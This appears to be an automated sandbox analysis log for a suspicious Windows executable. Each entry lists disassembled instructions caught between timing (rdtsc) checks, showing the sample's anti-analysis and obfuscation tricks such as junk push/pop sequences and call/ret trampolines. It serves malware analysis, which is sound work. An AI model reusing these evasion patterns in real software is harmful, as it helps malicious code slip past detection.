Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D4884 second address: 9D48BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9648C33B49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b add dword ptr [esp], 22F6FCB5h 0x00000012 jp 00007F9648C33B3Ah 0x00000018 push A2A849A5h 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D48BE second address: 9D48C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D4BD4 second address: 9D4BDA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D4F77 second address: 9D4F7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D4F7D second address: 9D4F81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D551E second address: 9D5522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D55D9 second address: 9D55DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D55DD second address: 9D55E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D55E1 second address: 9D55E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D55E7 second address: 9D55EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D55EC second address: 9D5600 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007F9648C33B38h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D56C2 second address: 9D56C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D5896 second address: 9D58A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007F9648C33B38h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D5A65 second address: 9D5A85 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96486CD64Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007F96486CD64Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D5B17 second address: 9D5B31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9648C33B46h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D60D8 second address: 9D60E2 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F96486CD646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D60E2 second address: 9D60E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D60E7 second address: 9D6157 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007F96486CD648h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 push 00000000h 0x00000028 mov edi, dword ptr [ebp+122D27DBh] 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push edx 0x00000033 call 00007F96486CD648h 0x00000038 pop edx 0x00000039 mov dword ptr [esp+04h], edx 0x0000003d add dword ptr [esp+04h], 0000001Dh 0x00000045 inc edx 0x00000046 push edx 0x00000047 ret 0x00000048 pop edx 0x00000049 ret 0x0000004a xchg eax, ebx 0x0000004b jnc 00007F96486CD64Eh 0x00000051 push eax 0x00000052 jc 00007F96486CD64Eh 0x00000058 push ebx 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D6A4F second address: 9D6A53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D6896 second address: 9D689C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D6A53 second address: 9D6A82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a jmp 00007F9648C33B41h 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F9648C33B41h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D689C second address: 9D68AF instructions: 0x00000000 rdtsc 0x00000002 jp 00007F96486CD648h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D68AF second address: 9D68B9 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9648C33B36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D68B9 second address: 9D68BE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D85BD second address: 9D85C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D9184 second address: 9D919C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96486CD651h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D919C second address: 9D91AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 jng 00007F9648C33B40h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9DA5AC second address: 9DA5B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9DA5B0 second address: 9DA5B6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9DAF8C second address: 9DAF97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9DBA61 second address: 9DBA65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9DC469 second address: 9DC473 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F96486CD646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9DAF97 second address: 9DAF9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9DE8C4 second address: 9DE8CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9DCAF1 second address: 9DCAF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9DE8CA second address: 9DE8D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9DCAF8 second address: 9DCAFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9DE8D0 second address: 9DE8D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9DCAFD second address: 9DCBA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c jns 00007F9648C33B47h 0x00000012 mov bx, di 0x00000015 push dword ptr fs:[00000000h] 0x0000001c push 00000000h 0x0000001e push esi 0x0000001f call 00007F9648C33B38h 0x00000024 pop esi 0x00000025 mov dword ptr [esp+04h], esi 0x00000029 add dword ptr [esp+04h], 00000014h 0x00000031 inc esi 0x00000032 push esi 0x00000033 ret 0x00000034 pop esi 0x00000035 ret 0x00000036 or bl, 0000007Fh 0x00000039 mov dword ptr fs:[00000000h], esp 0x00000040 pushad 0x00000041 mov esi, dword ptr [ebp+122D2E2Ah] 0x00000047 popad 0x00000048 mov eax, dword ptr [ebp+122D1461h] 0x0000004e push 00000000h 0x00000050 push eax 0x00000051 call 00007F9648C33B38h 0x00000056 pop eax 0x00000057 mov dword ptr [esp+04h], eax 0x0000005b add dword ptr [esp+04h], 0000001Ch 0x00000063 inc eax 0x00000064 push eax 0x00000065 ret 0x00000066 pop eax 0x00000067 ret 0x00000068 mov bx, cx 0x0000006b push FFFFFFFFh 0x0000006d mov edi, 612BDB84h 0x00000072 mov edi, dword ptr [ebp+122D2997h] 0x00000078 push eax 0x00000079 push eax 0x0000007a push edx 0x0000007b jc 00007F9648C33B3Ch 0x00000081 jnp 00007F9648C33B36h 0x00000087 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9DE8D4 second address: 9DE916 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96486CD653h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e mov edi, ecx 0x00000010 push 00000000h 0x00000012 mov di, bx 0x00000015 push 00000000h 0x00000017 mov dword ptr [ebp+122DB3E1h], esi 0x0000001d xchg eax, esi 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F96486CD653h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9DCBA1 second address: 9DCBA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9E09CC second address: 9E09D6 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F96486CD646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9E09D6 second address: 9E09DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9E09DC second address: 9E09E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9E09E0 second address: 9E0A28 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov ebx, dword ptr [ebp+122D2261h] 0x0000000f push 00000000h 0x00000011 sub dword ptr [ebp+122D2192h], ecx 0x00000017 jmp 00007F9648C33B40h 0x0000001c push 00000000h 0x0000001e mov ebx, ecx 0x00000020 xchg eax, esi 0x00000021 pushad 0x00000022 pushad 0x00000023 jno 00007F9648C33B36h 0x00000029 pushad 0x0000002a popad 0x0000002b popad 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F9648C33B3Fh 0x00000033 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9E0C3B second address: 9E0C52 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F96486CD648h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jc 00007F96486CD654h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9E3B99 second address: 9E3BCB instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9648C33B36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jmp 00007F9648C33B48h 0x00000018 jng 00007F9648C33B36h 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9E1C6A second address: 9E1CA7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96486CD655h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F96486CD64Ah 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F96486CD656h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9E4BAD second address: 9E4BB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9E2C8C second address: 9E2CB9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96486CD656h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jmp 00007F96486CD64Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9E0C52 second address: 9E0C56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9E3DA5 second address: 9E3DAB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9E8D5C second address: 9E8D7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F9648C33B41h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9E8D7A second address: 9E8D7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9E8D7E second address: 9E8D8E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9648C33B3Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9E8D8E second address: 9E8D9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F96486CD64Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9EAC96 second address: 9EACB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F9648C33B48h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9EACB7 second address: 9EAD1D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F96486CD64Dh 0x0000000d nop 0x0000000e mov dword ptr [ebp+122D3707h], ecx 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ebp 0x00000019 call 00007F96486CD648h 0x0000001e pop ebp 0x0000001f mov dword ptr [esp+04h], ebp 0x00000023 add dword ptr [esp+04h], 00000017h 0x0000002b inc ebp 0x0000002c push ebp 0x0000002d ret 0x0000002e pop ebp 0x0000002f ret 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push edx 0x00000035 call 00007F96486CD648h 0x0000003a pop edx 0x0000003b mov dword ptr [esp+04h], edx 0x0000003f add dword ptr [esp+04h], 00000014h 0x00000047 inc edx 0x00000048 push edx 0x00000049 ret 0x0000004a pop edx 0x0000004b ret 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f jnp 00007F96486CD648h 0x00000055 push eax 0x00000056 pop eax 0x00000057 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9EBBA7 second address: 9EBC24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F9648C33B43h 0x0000000a jmp 00007F9648C33B3Dh 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007F9648C33B38h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d push 00000000h 0x0000002f sbb edi, 5D619EA2h 0x00000035 push 00000000h 0x00000037 movzx edi, cx 0x0000003a xchg eax, esi 0x0000003b jl 00007F9648C33B5Ah 0x00000041 push eax 0x00000042 pushad 0x00000043 push eax 0x00000044 push edx 0x00000045 jbe 00007F9648C33B36h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9EBC24 second address: 9EBC40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96486CD654h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9EBC40 second address: 9EBC44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9E6E4F second address: 9E6E59 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F96486CD64Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9E7F7F second address: 9E7F83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9E9EA3 second address: 9E9EA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9E9EA7 second address: 9E9EB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push ebx 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9E9EB3 second address: 9E9F40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 nop 0x00000007 xor bx, 3DB3h 0x0000000c sub edi, 207E970Eh 0x00000012 push dword ptr fs:[00000000h] 0x00000019 sub dword ptr [ebp+122D1D55h], ebx 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 push 00000000h 0x00000028 push ebp 0x00000029 call 00007F96486CD648h 0x0000002e pop ebp 0x0000002f mov dword ptr [esp+04h], ebp 0x00000033 add dword ptr [esp+04h], 0000001Ch 0x0000003b inc ebp 0x0000003c push ebp 0x0000003d ret 0x0000003e pop ebp 0x0000003f ret 0x00000040 sub dword ptr [ebp+122D3457h], ebx 0x00000046 mov eax, dword ptr [ebp+122D1729h] 0x0000004c push 00000000h 0x0000004e push edi 0x0000004f call 00007F96486CD648h 0x00000054 pop edi 0x00000055 mov dword ptr [esp+04h], edi 0x00000059 add dword ptr [esp+04h], 0000001Ah 0x00000061 inc edi 0x00000062 push edi 0x00000063 ret 0x00000064 pop edi 0x00000065 ret 0x00000066 mov edi, dword ptr [ebp+122D2284h] 0x0000006c push FFFFFFFFh 0x0000006e mov edi, dword ptr [ebp+122D1C64h] 0x00000074 push eax 0x00000075 push eax 0x00000076 push edx 0x00000077 push eax 0x00000078 push edx 0x00000079 push edi 0x0000007a pop edi 0x0000007b rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9E9F40 second address: 9E9F46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9EBDA8 second address: 9EBDAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9EAE81 second address: 9EAEE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007F9648C33B3Ah 0x0000000c nop 0x0000000d push dword ptr fs:[00000000h] 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007F9648C33B38h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 0000001Ah 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e mov dword ptr [ebp+122D18F5h], esi 0x00000034 mov dword ptr fs:[00000000h], esp 0x0000003b mov dword ptr [ebp+122D3457h], eax 0x00000041 mov eax, dword ptr [ebp+122D0C45h] 0x00000047 and edi, dword ptr [ebp+122D278Fh] 0x0000004d push FFFFFFFFh 0x0000004f mov bx, 9CC2h 0x00000053 nop 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 push ebx 0x00000059 pop ebx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9EAEE8 second address: 9EAEF9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96486CD64Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9EAEF9 second address: 9EAF09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9EAF09 second address: 9EAF0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9EAF0E second address: 9EAF23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9648C33B41h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 987ECA second address: 987ED0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 987ED0 second address: 987ED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 987ED4 second address: 987ED8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 987ED8 second address: 987EFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F9648C33B3Eh 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F9648C33B3Dh 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
